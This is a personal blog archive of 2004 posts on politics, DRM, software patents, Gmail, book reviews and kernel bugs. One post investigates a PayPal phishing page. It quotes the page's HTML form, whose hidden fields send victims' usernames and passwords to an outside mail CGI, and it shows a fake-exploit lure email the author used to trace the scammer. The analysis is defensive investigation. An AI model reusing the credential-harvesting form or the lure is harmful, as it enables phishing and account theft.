  And would people please get "that", "which" and "who" the right way round? Correct examples:

  • The cats that are blue have hair. (exclusive clauses use "that")
  • The cats, which are blue, have hair. (non-exclusive clauses use "which". Note that the last sentence means "cats that are blue"→"have hair" but this one means cats→have hair & cats→are blue.)
  • The people who are blue have hair. (Talking about people means you use "who")

  That is all.

  Ok, so I should write mor...

  Ok, so I should write more about NotCon and things ... but I'm not going to at the moment.

  But I do have a gmail invite. Who wants it? (email me).

  Questioning the parties about Software Patents

  Since the European elections are coming up on June 10^th I decided to ring round and ask some of the parties about their policy on software patents.

  • Greens: Firmly against as a general policy (the person I spoke to didn't know any details). Sent me an email with these links. "the Green Party is against the idea of extending patents to software"
  • Lib Dems: First person I rung had no idea what I was talking about. Gave me a foreign number with a very knowledgeable person on the end. Basically they want a clearer law (were unhappy that the current law was being too widely interpreted) and wish to `strike a balance'. Were clear that the US system was flawed and that the patent office was overworked. But still believed that small business needed to be able to hold patents on inventions (inc software).
  • Conservatives: Bounced twice till someone could answer the question and even then they just read out a prepared statement. There was little point in questioning as the poor guy didn't have a clue what he was talking about. The statement basically said that they were unhappy with the current state of play because they wanted more patents, though they recognise the the US system is out of balance etc.

  Hmm...

  If Bruce Sterling actually wrote the comment in this then he should be ashamed. Only when preaching to the most devout choir can only get away with such crap.

  "Here's what we do know about NV45, it's currently running at a 450MHz core clock with 1.1GHz GDDR3 memory"

  ... graphics cards are now running faster than (one of) my CPUs.

  I need to stop reading the news...

  Because it just raises my blood pressure too much.

  I need a simple search bot that can pickout stories complaining of "bypassing" "revenue", like they have a right to a profit and shouldn't have to work for it, and replace it with <h1>MORONS</h1>

  Well, I said that I'd wri...

  Well, I said that I'd write to the returning officer about the stupid London Mayor elections, and here it is. Finial comments in before tomorrow morning please (because that's when I post it).

  Ok, so I've only just rea...

  Ok, so I've only just realised where the name Samizdata comes from. I feel silly.

  I also intend to write to the returning officer for the London Mayor elections to ask where the hell their election system comes from:

  If one candidate gets more than half of the first choice votes, he or she is the winner.

  If no candidate gets most than half of the first choice votes, all candidates except the two with the most are ruled out of the counts. The ballot papers of those voters whose first choice vote was for an eliminated candidate are then examined. Any second choice notes from these ballot papers for the two remaining candidates are added to their scores. Whoever of the two remaining candidates then has the most first and second choice votes is the winner.

  (typos are mine)

  Does anyone know if this has a name? I'm pretty certain that is doesn't have many of the desirable properties of other systems.

  Capability Systems page g...

  Capability Systems page got an FAQ added to the end of it to answer some of the questions that people have emailed me.

  And never, ever deal with SET Lighting and Sound. (Yes, that's an attempt at a google bomb)

  Capability Systems

  400^th entry!

  You have probably noticed that the Janie Box has been replaced with a link-roll powered by del.icio.us. It's only updated when I regenerate the site, which is a manual process and not on a cron job at the moment. But if you're bored the site is generally a good source of cool links.

  Also, I've ticked off one of my todo items: writing the text on capability systems:

  When you go to the liquor store, do you hand the cashier your wallet, and ask him to take out what it costs?

  Nope? Then why can your mp3 player read ~/.gnupg/secring.gpg?.

  We have ridiculous amounts of ambient authority floating around our programs. A capability system not only allows us to move towards a design conforming to the principal of least authority, but creates a cleaner design at the same time.

  (Read the rest: Practical UNIX Capability Systems)

  Things to do after exams

  • Build stackless
  • Write text on cap systems
  • Write text on why javascript isn't evil
  • Get gcal working
  • XML rant

  (this is more of a personal todo than anything else. Nothing to see here, move along)

  Dogs can't vote!Not direc...

  Dogs can't vote!
  Not directly

  If you're American this is your task for today. Oi! Come back. I will hunt you down with my IP address guided custard pie if you don't.

  • Read this bill. If you don't agree with it, you're probably probably using this blog as an example of Communist propaganda - so I guess I've lost you. If this is the case then you can go now.
  • Lookup your representative
  • Lookup their contact details. Note them down - it's always useful
  • This is a list of people on the subcommittee that has to vote this bill up on the 12^th. If your rep is on the subcommittee then phone or write (with paper) to them. If you're writing then lay it out properly with your address and signature and everything. Keep it short and don't rant.
  • If you phone them, you have to speak with the staff member who is dealing with this bill (or the general IP law staffer).
  • You can both phone and write, of course.
  • You can contact you rep even if they aren't on the subcommittee. You can also contact reps who are, even if they aren't your rep.
  • Form letters are bad - try to write it yourself.

  When you have done this, email me or post a comment and I'll order the homing custard pie to self destruct.

  The future of music canno...

  The future of music cannot include record labels as we have them today.

  If you need weird passport photos done (e.g. special sized US NI visa photos) - go to Passport Photo Services on Oxford St. No hassle, very quick and such weird requests handled without issue.

  And did you know that Virgin on Tottenham Court Rd has a real music hardware section on the bottom floor? I'm pretty sure that it's fairly new, but they sell proper desks (Midas and Yamaha) and mics etc. It's all really expensive - but could be useful to have a look at before buying it from somewhere sensible.

  The Quest for Omega - hig...

  The Quest for Omega - highly recommended

  Tracking down a PayPal scammer

  I was bored last night (you know, revision, makes you do strange things...). So I actually opened one of those scam PayPal emails:

  It has come to our attention that your PayPal account information needs to be updated as part of our continuing commitment to protect your account and to reduce the instance of fraud on our website. If you could please take 5-10 minutes out of your online experience and update your personal records you will not run into any future problems with the online service.

  The link text is at www.paypal.com, but the destination is http://210.120.9.236/paypal/login.htm. That's a solaris box running every service under the sun. I've no doubt that it's a hacked box, so I've emailed the netblock owner (no answer). I also emailed the netblock owner for the host where the email came from - pretty prompt answer from them (they are looking into it). But let's have a look at the HTML from the scam page (which looks identical to a real PayPal page):

  <FORM action=http://www.i-st.net/cgi-bin/web2mail.cgi method=post><INPUT type=hidden value=mirub@linuxmail.org name=.email_target> <INPUT type=hidden value=username-password name=.mail_subject> <INPUT type=hidden value=http://210.120.9.236/paypal/loginloading.htm name=.thanks_url>

  Basically, it's emailing him via linuxmail.org (I've emailed linuxmail and told them this). But that's about as far as I can go. I can't find out who is reading that email account. Or can I?

  Subject: New remote root exploit for OpenSSH 3.7.x
  To: mirub@linuxmail.org
  From: xyz@abc.com
  
  I hear that you're an elite hacker. I'd like to share exploits with you, so as
  a gesture of good faith (to get the ball rolling) this exploit is doing the
  blackhat rounds but hasn't hit the mainstream yet. Many juicy boxes are running
  vulnerable sshds:
  
  http://www.doc.ic.ac.uk/~guest01/openssh-xploit.c
  
  Hope to hear from you...

  And the contents of http://www.doc.ic.ac.uk/~guest01/openssh-xploit.c:

  Well, that'll be your IP in the weblogs.
  
  Cheers.

  And indeed:

  62.162.228.219 - - [02/May/2004:11:54:26 +0100] "GET
  /~guest01/openssh-xploit.c HTTP/1.1" 200 51
  "http://adsfree.linuxmail.org/scripts/mail/mesg.mail?folder=INBOX&order=Newest&
  mview=a&mstart=1&.popup=0&msg_uid=1083452662&mprev=1083452665&mnext=1083452657"
  "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)"

  inetnum:      62.162.224.0 - 62.162.255.255
  netname:      MTnet-ADSL_subnet
  descr:        ADSL subnet
  descr:        Skopje, Macedonia
  country:      MK

  Very little chance of getting him in Macedonia. Oh well, at the very least he probably wet himself

  As everyone on the planet...

  As everyone on the planet knows by now (it was even front page news on the Evening Standard), Google is floating. This means that I'm probably going to be working there when they float - which should be an interesting experience. I'll come in one day and the net worth of a decent number of people there will have jumped overnight.

  I really hope that this doesn't mess the company up too much. They aren't perfect, but (as I hope to find out) everyone there says that it's a pretty special place. However, it has the coolest S1 filing ever. Brin and Page are staying and make it very clear that they are going to run the company their way. Also:

  the exact value of its planned offering is $2,718,281,828 dollars, which some would immediately recognize as the mathematical constant e.

  Nice.

  Your daily dose of What t...

  Your daily dose of What the Fuck?

  Gmail

  Experiment possibly discounts Many Worlds and Copenhagen interpretations.

  Frankly, wow. Gmail is very cool. In fact I possibly prefer it to mutt, my usual mailreader - but give me a couple of days before I pronounce on that.

  Gmail is the first web application that actually deserves the name. For example, the inbox page has 2 lines of HTML, all the rest looks like:

  D(["v","108424e99f735b5"]
  );
  D(["i",0]
  );
  D(["qu","0 MB","1000 MB","0%","#006633"]
  );
  D(["ds",2,0,0,0,0,0]
  );

  Basically, there's a master Javascript page which parses all that and spits out HTML, client side. That also means that the interface is very fast for the most part. A round-trip to the gmail server takes a while as ever (<1 second) but many operations are just javascript. And the vi key bindings 'j', 'k' and '/' work

  New Signing Key

  All my outgoing mail should be signed by my non-secure key. (Unless I know you use Windows or some other crap client that can't cope with RFCs). My old non-secure key just expired, so here is the new one (signed by my master key):

  (Also availible on all good keyservers soon)

  pub  1024D/5FD38350 2004-04-23 Adam Langley (Non secure signing key) 
  sub  1024g/A51F1F5E 2004-04-23 [expires: 2005-04-23]

  -----BEGIN PGP PUBLIC KEY BLOCK-----
  Version: GnuPG v1.2.4 (GNU/Linux)
  
  mQGiBECJMIERBACwCG/dJXNvQmBYCc64/HAIhDLXI75tUe+mxqvlIRCPPVqTFWd7
  jolhGg1BrHI+v1QH+7ERpcr3vBgpvWkhRho1FBEvhyLR6Mdfvb4T06jj77SLikRy
  XvaZfPPnfHhNXdjxEbLe57hPH7dSIrXP21AIZizH9OnBwfvyVA7E5mITiwCgxzxF
  fndrbEAsU2cnjd3cd4T0o7kD/2kq4UX33yKWLl+WiU+Q3eXAorWms0JwDAzCskG4
  wB3fvj7jVSHkuRAd4zHFPqxE155rr30MsY572mFO27EYFI4ZioubVVVZv3pN5V+3
  Hy2np+xPXBtwNir0GB/6ifnPsmW6uxe9X2T64D89cNfuisoEJ+zWBy2xzwyzEV1S
  EQZTA/40iwLN9MgHm8NIMRNQgQJvGoJZ2BKgSsFWtTL6lbeWNAvOKRlD4jpS0B6D
  xBdTDjqrlaQIm8OYZ13LRY24tY035xAHv56zHqBGP7Tg8T3SyRPrvpwa4zKI8giV
  8k/75Va2yMliQIsv2xfxbIYkscDX6QRGzrF1gNUbdiJGLTJBY7Q+QWRhbSBMYW5n
  bGV5IChOb24gc2VjdXJlIHNpZ25pbmcga2V5KSA8YWdsQGltcGVyaWFsdmlvbGV0
  Lm9yZz6IZAQTEQIAJAUCQIkwgQIbAwUJAeEzgAYLCQgHAwIDFQIDAxYCAQIeAQIX
  gAAKCRBYHZWLX9ODUC0CAJ9lUzvCra8GdYxGhsyzai2vVUctYQCfXLFo4qZHrXhQ
  jxUrBrBLZ7xbY3yITAQTEQIADAUCQIkw0QWDAeEzMAAKCRDNpVLfLLY9YB4aAJsF
  V8zYo+gUsWc+awch1TKr0rORkwCeNGyX+HDQ6RBBy64XJQtFnVaYwLy5AQ0EQIkw
  hRAEAM7C1brA5o31SGVLxd2wtPLdHyhyt7Il1HmCXNP6uUaXKN0Z8xbCj0mOTtsz
  HjzBNo7UPInsAkaJOz/bo+iXcCX5X/hgKNljsuhHOP5mVtedvEBCfCFCHAKyHuQy
  YJzkQIkgvPWH+YIqn7LNSVjJ0/ZK9jGa2sB1OwLEwV64nWFnAAMFA/sHM9+UvhIY
  L/LU3rOwRIMXhJolm4RHsem/Xty9ZTQT29CoPqeJdVUkhoVxOc1s3DIUUVegFNxV
  UIEPfs8cqin4HtEBaxl+howHD7AOzH03HRvtBzu0mZ+LC2YuIZxGRJaN0vKMx9m0
  NRh5FSGnWXd6dUdZQtnh7cz3CP2ujvYAxYhPBBgRAgAPBQJAiTCFAhsMBQkB4TOA
  AAoJEFgdlYtf04NQpcMAnR8qmZepHXtFyBvaMMBXXc8krdvwAJ9u6fkkiDbwVYuD
  7v0Wldd93FOdQA==
  =oxRB
  -----END PGP PUBLIC KEY BLOCK-----

  I like the Guardian, it's...

  I like the Guardian, it's generally a pretty good newspaper. But it really does print some utter crap sometimes.

  Joyti De-Laurey will shortly be sentenced for stealing several million pounds from some City squillionaires. But if there was any justice in this world, Joyti would not only be a free woman, she'd be given a medal for services to the community.

  So, it seems, robbing the rich and giving to the poor is not only ok within the confines of a representative democratic tax system, it's ok all the time. So I assume that he leaves his front door unlocked at night so that all the homeless poor people can rightfully rob him without risking hurting themselves while forcing the door.

  Somehow the writer manages the double-think that the victims (oh and, by the way, As crimes go, this was a victimless one) are both lazy and foolish (Fools and their money are soon parted) and hardworking (The trio were far too busy with their 6am meetings and long-distance business trips) at the same time.

  The writer also has an interesting grasp of economic reality: [their money] was just lying dormant in their accounts, doing nothing. I wonder if he has ever wondered where bank loans for buying his house, or starting the local businesses which serve his needs comes from. He might like to reflect that there's a word for when banks stop lending money - recession.

  It's just disappointing that writers with such a lack of rationality get printed in serious national press.

  US weapons in space [via ...

  US weapons in space [via JWZ].

  highly detailed plans for a whizbang space arsenal led by the "Rods From God" -- bundles of tungsten rods fired from orbiting platforms, hurtling toward earth at 3,700 meters per second, accurate within a range of 8 meters and able to destroy even the most hardened targets

  So, 3700 m/s gives 6.8 MJ/kg of energy. One tonne of TNT is 4612 MJ. So, in order to deliver a 1 tonne explosion they need to launch 674 kg of the stuff. For a one shot weapon. Now, the shuttle costs $50,000/kg to low earth orbit (source). That's $34 million dollars per megatonne. Or $30 million dollars per Fallujah strike, if you like.

  Still waiting for the dra...

  Still waiting for the draft ID cards bill, but if you want a little insight from New Labour try this from Sion Simon (Labour MP):

  I mean this civil liberties business I don't understand, what civil liberties implications, it's nonsense. I mean if you've done nothing wrong what are you frightened of?

  (BBC R4, Any Questions, 9^th April 2004)

  So, ladies and gentlemen. Have an ID card - if you've done nothing wrong you have nothing to fear.

  Well, we're going to have...

  Well, we're going to have a referendum on the EU Constitution then. That means that I've got to read the damm thing and it's a huge tangle of politically correct nonsense for the most part.

  (For those who don't know how UK policy is announced these days: First there's the oblique comment (Blair on Radio 4 a few days ago), then there's the leak to the press (just now) then there's the full announcement (this week I expect).

  RSI

  Well, it's probably good for revision that I'm going to cut right down on typing now since I'm starting to feel the first signs of RSI. Probably because I have a crappy, self-taught typing style.

  I'm wondering about switching to Dvorak, but I've just been playing with it (my version of it) and it doesn't seem to help any. If anything, it's worse.

  Here's a time-lapse video...

  Here's a time-lapse video of the setup and strike of the Medics Fashion Show (you can see the photos here). It's WMV format (I didn't do it!) but it's not fuckwared and my install of mplayer can cope with it.

  dramsoc.wmv (50M)

  Looks like SourceForge ha...

  Looks like SourceForge have pulled the source to Playfair [/. story].

  See, as an act of civil disobedience against those who believe that code should be suppressed to enforce a huge increase in copyright powers I wish I had the source code to Playfair so that lots of people could download it and prove how futile pulling the code was.

  But all I have are these two random, 326K files. I wonder what I could do with those...

  Update: seriously, you people who can't figure it out are too dumb to use the program anyway!

  British people can now li...

  British people can now live happy in the knowledge that the Criminal Justice Act (2003) came into force yesterday:

  They enable police to retain fingerprints and DNA samples from anyone arrested - whether or not they are charged.

  The Home Office will look at whether police should be able to [drug] test all suspects arrested for offenses such as burglary and theft which are considered as "driving up" drug abuse.

  So what the Police want is a national DNA and fingerprint database, by the back door. If they actually tried to announce it, there would be dissent - and Labour are fed up with that after the whole tuition fees saga. So, slowly, they are going to build it anyway.

  You have to wonder how difficult it would be to setup a new political party. And `difficult' means `money' in this case. I think a 30-second TV slot would cost you about 250K, so 10M wouldn't even be a large advertising budget. I'm sure 5M would slip away all too quickly in other costs.

  In the 1997/8 fiscal year, corporate donations for the Conservatives (the biggest number) was about 2.8M - so one would need some significantly more generous investors.

  Hmm...

  A Summer Ball post

  

  What's Wrong with Janus and friends

  Janus is Microsoft's new DRM (fuckware) system. The details are, frankly, unimportant - just only need to know this much:

  Janus would add a hacker-resistant clock to portable music players for files encoded in Microsoft's proprietary Windows Media Audio format. That in turn would help let subscription services such as Napster put rented tracks on portable devices--something that's not currently allowed. Fans of portable players could then pay as little as $10 a month for ongoing access to hundreds of thousands of songs, instead of buying song downloads one at a time for about a dollar a piece.

  This is wrong. This is bad. This is evil. This is why:

  Control

  This requires is trusted clock and this is a form of client-side security. That doesn't work, this has been known for many years. Unfortunately, these companies will and have used the legal system to try and make it work.

  Of course, content providers can only give music to trusted hardware - hardware that they trust to expire music. This means that the number of companies that can manufacture such hardware is very limited. It also means that since you have to go online to "renew" your music that they can disable any hardware at any time by not renewing.

  If you read the license agreement this will be one of their legal rights.

  No hardware manufacturer is going piss these people off on pain of a whole lot of angry customers or the loss of a manufacturing license. So they can invent any rights for themselves that they wish and it's protected by law (DMCA/EUCA).

  What rights? Well, at the moment they have invented the right to stop you fast-forwarding the legal warning/trailers on some DVDs (with compliant players). They lost control of the DVD player market so this isn't enforced. You can bet they're not going to make that mistake again.

  Public Domain

  Remember that after a certain number of years the government granted monopoly on a given work expires? Remember that last time you put on a Shakespeare play that you didn't have to pay his family/estate anything?

  Fine and dandy because when the copyright on these works expires you won't be able to play them anymore.

  Their control of this is enforced by hardware and never expires.

  History

  Go down to your local library. You can probably lookup editions of the local paper going back decades. This is our history.

  So when your TV news is subscription. And your paper is the digital edition. And your downloaded magazines are rented. Where's your history?

  This is wrong. This is bad. This is evil.

  Back on the good news...

  Lessig's new book is out in both dead-tree format and electronic, under a CC license.

  That's the good news. On the other hand...

  SciAm has published this, an interview with "the father of MP3" from which I'll pull a few quotes:

  The culture of theft that turns around MP3 is detestable.

  Misuse of the word theft in the usual RIAA-newspeak way.

  I don't see [iTunes etc] as a solution in the long run, because they put too many limits on the users.

  Ok, good

  What we need is a system that guarantees the protection of copyrights but at the same time is completely transparent and universal. With the Digital Media Project [DMP] we are working to develop a format that meets these requirements.

  For example, you could play a specific title until a certain date, or you could buy a subscription allowing you to play anything you want for a given period.

  the algorithms used for copyright protection don't come as hardware but as software, so that you can update them with an Internet or wireless connection if they are cracked.

  Hmm, I'm betting that this `father of MP3' is a manager. It would take years of training to come out with such wooly worded crap. "It's open" yet you can be time limited. "It's not-crack proof" yet people will (willingly?) download updates to `fix' their players.

  And their website is, as expected, full of utter rose-tinted rubbish.

  Seriously, how do people get away with not putting a single hours thought into these systems?.

  It turns out that Apple have very neatly managed to use the RIAA's stupidity against them by having a DRM free service and just telling the RIAA that it's protected. Genius.

  The Ends of the Earth (Br...

  The Ends of the Earth (Bruce Sterling)

  Why do people bother with...

  Why do people bother with quantum cryptography? (and they do, companies exist that will supply QC products if you have the money). Wouldn't quantum entanglement cryptography achieve the same without a dedicated fiber link? Or are the practical problems with QEC really that bad?

  Something to ask Pooh next time I see him.

  Gary's shoe: Ewwwwwwwww! ...

  Gary's shoe: Ewwwwwwwww! Really, really yuck.

  But seriously, we rock.

  Katie Melua: Call off the Search

  Ok, so a few reviews that I've been meaning to get round to...

  So this album has hit 4x platinum but I'm not quite sure why. I like it - quite a lot actually - but I'm still a little confused where this hidden hunger for `country' music has come from in the general population. Of course, it's not called country music because that doesn't sell but it sounds like country/folk music. It's certainly not jazz.

  But for those who thought that Norah Jones was a one off, the copycats are proving them wrong. At the top of the charts at the moment is the second Norah Jones, this album and "20 Something".

  Now, I think that Mrs Melua has a better voice than Mrs Jones. I know that's a pretty flammable statement in some places but I think that the recording on this album is just better than Come Away With Me. A bit like Road to Perdition - a very beautiful work and a welcome break between more exciting stuff. But no substitute.

  Greg Egan: Luminous

  It's fairly common knowledge to readers of IV that I'm quite a big fan of Greg Egan. In fact, a browse of his website shows that I've almost read every book he has in print.

  Luminous is a collection of short stories and this actually means that you get a higher "cool idea" frequency than in some of his novels. One of the stories is pretty forgettable, but all the rest are classic Egan. A number of the stories hammer home the conclusions of a Strong AI belief - something that the world is going to have to come to grips with at some point (I believe so, as a Strong AIist, of course. Others don't). The title story is very Godel, Escher Bach dealing, as it does, with axiomatic systems.

  I'm not going to write a list of the others here. Borrow the book off me if you want to find out. Highly recommended.

  Iain M. Banks: Excession

  This is the first Iain M. Banks book that I've read. People have been mentioning him to me for ages and I finally read one on the train to (and from) Cardiff.

  Now, this a political novel - not science fiction. It may be set in space with spaceships and the like - but that doesn't make it science fiction. Greg Egan is sci fi - this is space opera.

  But as far as political novels go, it's very good. Almost excellent in fact. But I don't feel that I would have missed anything by not reading it (except for the best ship names in a book, ever). Something to read as the miles go by.

  Well, Imperial College pl...

  Well, Imperial College played host to the BBC in the form of Question Time on Thurs. (The one where a cabinet minister said "When Gordon Brown became Prime Minister"). Then we struck it - TV really isn't all that impressive. It looks ok to the edges of the camera's field of vision then it's just cables everywhere. The lighting rig was fairly impressive, but the sound was nothing to write home about.

  I've a (telephone) interview with Google for a summer job this year. And congrats to Gary, Steve and Mike who've all sorted out jobs for when they leave Imperial.

  In to College for 9am tomorrow. And don't forget that it's Mothers Day.

  This is just ... well, al...

  This is just ... well, almost amusing. But in that "laugh because you don't know what else to do" way [via WhiteRose, source]

  WHAT do you give someone who's been proved innocent after spending the best part of their life behind bars, wrongfully convicted of a crime they didn't commit?

  An apology, maybe? Counselling? Champagne? Compensation? Well, if you're David Blunkett, the Labour Home Secretary, the choice is simple: you give them a big, fat bill for the cost of board and lodgings for the time they spent freeloading at Her Majesty's Pleasure in British prisons.

  On Tuesday, Blunkett will fight in the Royal Courts of Justice in London for the right to charge victims of miscarriages of justice more than £3000 for every year they spent in jail while wrongly convicted. The logic is that the innocent man shouldn't have been in prison eating free porridge and sleeping for nothing under regulation grey blankets.

  Though now I come to think about it, there's a prison near White City I believe, and £3000/year is a lot cheaper than what I'm paying now. I wonder if they would consider renting?

  IPRED

  Fluffy BBC introduction if you don't know what IPRED is.

  In red, the FFII (from here), and in blue, the text of the directive (taken from here

  Anton Piller orders (secret court authorisations of raids for evidence by the plaintiff's agents)

  Member States shall ensure that even before the commencement of proceedings on the merits of the case the competent judicial authorities may, on application by a party who has presented reasonably available evidence to support his claims that his intellectual property right has been infringed or is about to be infringed, order prompt and effective provisional measures to preserve relevant evidence in regard to the alleged infringement.

  It's very unclear in the document as to who takes the action. Firstly, the /. crowd are wrong that this gives a right to corporate raids - you still need judicial authorities to sign off on it. We shall have to see how this is written into national law.

  Mareva injunctions (freezing of assets, even before a case has been discussed in Court.

  In cases of infringement committed on a commercial scale, ... the judicial authorities may order the precautionary seizure of the movable and immovable property of the alleged infringer, including the blocking of his bank accounts and other assets.

  Member States shall ensure that the provisional measures referred to in paragraphs 1 and 1a may, in appropriate cases, be taken without the defendant having been heard.

  The FFII seems to be perfectly correct on this one.

  New powers to demand the disclosure of very extensive commercial and personal information.

  Well, you can look at Article 9 yourself, it goes on a long while. But my reading of it is that the FFII is correct.

  And the admissibility of denounciations by anonymous witnesses as court evidence.

  Member States may take measures to protect witnesses' identity.

  Right on again.

  We'll have to fight at the national level now. I'm getting tired of this.

  It's pretty wrong for me ...

  It's pretty wrong for me to ridicule specific DoC support requests here. But it's so tempting, (mentioning no names...). Today alone, I've already had one person ask if /usr/sbin/sendmail -t is going to work on our Windows ASP server (and there's no confusion here, he's absolutely aware that it's a Windows box).

  And to round it off, someone asked if they should delete their root filesystem when trying to free up some space because it's several gigabytes big.

  Oh boy.

  I've been away for the we...

  I've been away for the weekend. So if you've not heard back from me in a couple of days - that's why. I'm going through my email now.

  Friday night was spent stage teching Tokyo Dragons (pictures). MTV were filming this event, and they are meant to be a major band for some reason. I thought they were ok, but nothing special.

  Though their bass guitarist did make his own amp, so they gain credits for that.

  Yes, I've got 32. I'll be...

  Yes, I've got 32. I'll be in tomorrow morning.

  Well, a kernel upgrade of...

  Well, a kernel upgrade of the Union server on Tuesday showed that 2.4.25's XFS support is incomplete. It contains some of XFS, but not enough to actually get a working server (I need ACL support at least). And I can't find patches to add the missing bits to 2.4.25 either. Bugger.

  The medic's play (Alice in Wonderland) on in the UCH at the moment is very good. Go see it tonight (£6) or tomorrow (£7) starting at 7:30 (ish).

  Last night's band night with Natascha Sohl went very well. She's very good and my favorite band that we've worked with so far. Proper control of the lighting by Steve meant that it looked very good too.

  And we're doing it all again tomorrow, but with three bands and (at least) one film crew. That includes three drum kits that we've got to handle somehow. And I've got other commitments for part of tomorrow night.

  Also, I'm on Orkut now. Mail me if you need an introduction.

  (Though I'm home this weekend (and Monday) so I've very little email access.)

  And tonight was going to be my night off and the first time I haven't been doing something in the Union this week. But the Medic's director just phoned so I'm going to help them now... oh well.

  These are predictions fro...

  These are predictions from a "leaked Pentagon report" that were published in The Observer today (news section, page 3).

  I just want them here so I can look back in a few years time.

  • Future wars will be fought over the issue of survival rather than religion, ideology or national honour.
  • By 2007 violent storms smash coastal barriers rendering large parts of the Netherlands inhabitable. Cities like The Hague are abandoned.
  • Between 2010 and 2020 Europe is hardest hit by climatic change with an average annual temperature drop of 6F. Climate in Britain becomes colder and drier as its weather begins to resemble Siberia's.
  • Deaths from war and famine run in the millions as the population is reduced until the Earth can cope.
  • Riots and internal conflict tear apart India and Indonesia.
  • Access to water becomes a major battleground. The Nile, Danube and Amazon are all at high risk.
  • A 'significant drop' in the planet's ability to sustain its population will become apparent over the next 20 years.
  • Rich areas like the US and Europe would become 'virtual fortresses' to prevent millions of migrants from entering after being forced from land drowned by sea-level rise or no longer able to grow crops.
  • Nuclear arms proliferation is inevitable. Japan, South Korea, and Germany develop nuclear-weapons capabilities , as do Iran, Egypt and North Korea. Israel, China, India and Pakistan also are poised to use the bomb.
  • By 2010 the US and Europe will experience a third more days with peak temperatures above 90F . Climate becomes an 'economic nuisance' as storms, droughts and hot spells create havoc for farmers.
  • More than 400m people in subtropical regions at risk.
  • Europe will face huge internal struggles as it copes with massive numbers of migrants arriving at its shores. Southern Europe is beleaguered by refugees from hard-hit Africa.
  • Mega-droughts affect the world's major breadbaskets, including America's Midwest, where strong winds bring soil loss.
  • China's huge population make it particularly vulnerable. Bangladesh becomes nearly uninhabitable because of a rising sea level, which contaminates inland water supplies.

  New kernel bug. All upgra...

  New kernel bug. All upgrade to 2.4.25 or 2.6.3. DoC backend webserver compiling now and will be rebooted in a minute. Union server waiting for GR patch against 2.4.25.

  Ok, a slightly political ...

  Ok, a slightly political entry today...

  Firstly, I tip my hat to the people behind a new scholarship created for whites only. And I hope it enrages every racist black organisation simply because I want to see them defend their black only scholarships and attack this at the same time. A wonderful example of why racism by white people is racist and racism by black people is `positive action'.

  Next up, a Guardian article today (page 3): Goodbye ecstasy, hello 5-Meo-DMT. It's only in their paper and beta-test editions, so no link I'm afraid.

  It discusses the increasing use of chemicals that are legal in the US, but illegal here, such as 5-MeO-[DMT|DiPT] and 2C-[B|I]. Now these chemicals are still fairly rare and I've never even heard of anyone taking them. (But don't confuse 5-MeO-DMT with regular N,N-DMT, which is much older and common).

  The rapid growth in the transatlantic online trade in such chemicals has been fueled by international differences over legality. While Britain has outlawed all of these drugs under an amendment to the Misuse Of Drugs Act in February 2002 they remain legal in most other countries, including the majority of EU member states. Even in the US, despite some of the most draconian anti-drug laws in the world, the bulk of research chemicals are legal to manufacture, sell, possess and consume.

  The leading research chemical sites compete openly to offer the purest product, the best customer service, the fastest deliveries and the lowest prices. Sophisticated e-commerce technology, electronic payment systems and next day courier services guarantee swift, effortless "one-click" transactions

  The EU recently recommended that member states ban 2C-I as a matter of urgency, although they turned up no evidence of large-scale manufacture. The police, however, were quick to sound the alarm. "The chemicals to make this are available and it can be made pretty much anywhere," a source said.

  Nowhere have we had the slightest justification of the banning of these chemicals. It's not even discussed - they don't even try to give reasons. We have now reached the point where "drugs are baadd" is an axion of our society.

  I'm perfectly free to go jump out of a plane. A totally unconstructive, reckless act that serves no end but by own pleasure. People who trek across the Arctic are heros. Those who die are tragic.

  Those who ingest 2,5-Dimethoxy-4-Iodophenethylamine are criminals and those who die are used to justify the banning of it. Although, it seems, we don't even need that any more.

  Now, I'm not saying that experimenting with these drugs is a good idea. Frankly, experimenting with new drugs is pretty damm stupid as far as I'm concerned. But I'm not going to stop anyone else from trying it.

  And what effect does banning every psychoactive chemical have on research? Most research grant boards won't go near these areas. It's just not worth the bother and we don't know what damage this is doing to medical knowledge because we won't even investigate it.

  Next time you're preached to about the dangers of drugs. Just wonder to yourself about how many of those dangers are caused by the prohibition that they are used to justify. Better yet, wonder out loud because that's either called circular reasoning or bullshit depending on your company.

  If you didn't see this on...

  If you didn't see this on /., you really should read it: Economist: I get a kick out of you

  I've written an exploit f...

  I've written an exploit for the XFree vunl that has been doing the rounds for my talk on Tuesday. (That I've got to write this weekend).

  Next Tuesday is sysadmin security and the week after is programming security. (1 o'clock, 308/311). I'll be pulling the exploit apart in the second of them. It's a little different than the usual kiddie exploits because X isn't suid on DoC systems.

  And Silwood still haven't told me if they'll upgrade their power supply for the PhySoc Summer Ball, and I can't confirm any hires really until I know what I'm doing about that.

  And the ICU Summer Ball may be off. East meet West lost money, I'm pretty sure that International Night did too.

  Oh, wonderful. What a bea...

  Oh, wonderful. What a beautiful morning on which we find critical vulnerabilities in the following:

  • Windows 2000/XP/2003/NT (SYSTEM level remote exploit)
  • XFree (local root)
  • vim
  • And MyDoom has created a whole new zombie network...

  Well, Oskar can rest easy...

  Well, Oskar can rest easy, Joel told me to bugger off.

  And, it seems, censorship is once again, the answer to everything these days.

  Things to look forward to

  Well, the first set of patches for GCC 3.5 have gone into the mm kernel tree so we can start looking forward to the release of 3.4 soon.

  The change log is here, and I'd like to highlight a few points:

  Firstly, precompiled headers. This could be a huge gain for large compile runs (KDE anyone?). Basically the compiler can preprocess C/C++ headers and so not have to repeatedly compile them for each unit (read .c or .cc file). Quoting from a snapshot gcc manual (raw texi docs):

  To create a precompiled header file, simply compile it as you would any other file, if necessary using the @option{-x} option to make the driver treat it as a C or C++ header file. You will probably want to use a tool like @command{make} to keep the precompiled header up-to-date when the headers it contains change.

  A precompiled header file will be searched for when @code{#include} is seen in the compilation. As it searches for the included file (@pxref{Search Path,,Search Path,cpp,The C Preprocessor}) the compiler looks for a precompiled header in each directory just before it looks for the include file in that directory. The name searched for is the name specified in the @code{#include} with @samp{.gch} appended. If the precompiled header file can't be used, it is ignored.

  For instance, if you have @code{#include "all.h"}, and you have @file{all.h.gch} in the same directory as @file{all.h}, then the precompiled header file will be used if possible, and the original header will be used otherwise.

  If you need to precompile the same header file for different languages, targets, or compiler options, you can instead make a @emph{directory} named like @file{all.h.gch}, and put each precompiled header in the directory. (It doesn't matter what you call the files in the directory, every precompiled header in the directory will be considered.) The first precompiled header encountered in the directory that is valid for this compilation will be used; they're searched in no particular order.

